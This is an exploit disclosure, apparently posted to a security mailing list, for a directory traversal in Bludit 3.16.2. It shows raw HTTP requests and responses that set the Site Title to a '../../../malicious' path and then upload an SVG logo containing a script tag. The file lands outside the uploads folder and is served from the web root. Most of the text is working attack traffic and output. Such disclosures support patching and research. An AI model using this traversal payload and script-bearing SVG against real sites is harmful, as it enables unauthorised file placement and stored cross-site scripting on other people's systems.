Directory Traversal "Site Title" - bluditv3.16.2

[Andrey Stoykov <mwebsec () gmail com>]

# Exploit Title: Directory Traversal "Site Title" - bluditv3.16.2
# Date: 07/2025
# Exploit Author: Andrey Stoykov
# Version: 3.16.2
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

Directory Traversal "Site Title" #1:

Steps to Reproduce:

1. Login with admin account and "General" > "General"
2. Set the "Site Title" to the following payload "../../../malicious"
3. Next click on "Logo" and the upload the SVG file


// HTTP POST Request

POST /bludit/admin/settings HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 1208
Origin: http://192.168.58.133
Sec-GPC: 1
Connection: keep-alive
Referer: http://192.168.58.133/bludit/admin/settings
Cookie: BLUDIT-KEY=re283ptc2s1pd9emfuqhiulto2
Upgrade-Insecure-Requests: 1
Priority: u=0, i

[...]title=htdocs/bludit/bl-content/uploads/../../../malicious[...]


// HTTP Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 28 Jun 2025 21:27:33 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
[...]


// HTTP POST Request Uploading SVG File

POST /bludit/admin/ajax/logo-upload HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
Gecko/20100101 Firefox/141.0
[...]

------geckoformboundaryb7a89b3d43771e77a278c9384a361332
Content-Disposition: form-data; name="tokenCSRF"

59fc6f48ad5d60b39699491cada2390e1b42531b
------geckoformboundaryb7a89b3d43771e77a278c9384a361332
Content-Disposition: form-data; name="inputFile";
filename="evilsvgfile-xss-bypass.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="100" height="100" version="1.1" xmlns="
http://www.w3.org/2000/svg";>
  <script type="text/javascript">alert('xss');</script>
</svg>
------geckoformboundaryb7a89b3d43771e77a278c9384a361332--


// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 28 Jun 2025 21:28:21 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
[...]

{"status":0,"message":"Image
uploaded.","filename":"..\/..\/..\/malicious.svg","absoluteURL":"http:\/\/
192.168.58.133
\/bludit\/bl-content\/uploads\/..\/..\/..\/malicious.svg","absolutePath":"\/opt\/lampp\/htdocs\/bludit\/bl-content\/uploads\/..\/..\/..\/malicious.svg"}


root@debian:/opt/lampp/htdocs# ls -lah
total 16K
drwxrwxrwx  3 root   root   4.0K Jun 28 17:28 .
drwxr-xr-x 31 root   root   4.0K Jun  3 16:26 ..
drwxrwxrwx  7 debian debian 4.0K Aug 25  2024 bludit
-rw-r--r--  1 daemon daemon  283 Jun 28 17:28 malicious.svg


// HTTP GET Request Accessing the SVG File

GET /malicious.svg?time=0.3289154512636364 HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
Gecko/20100101 Firefox/141.0
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 28 Jun 2025 21:28:21 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
Last-Modified: Sat, 28 Jun 2025 21:28:21 GMT
ETag: W/"11b-638a8794da6e3"
Accept-Ranges: bytes
Content-Length: 283
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="100" height="100" version="1.1" xmlns="
http://www.w3.org/2000/svg";>
  <script type="text/javascript">alert('xss');</script>
</svg>
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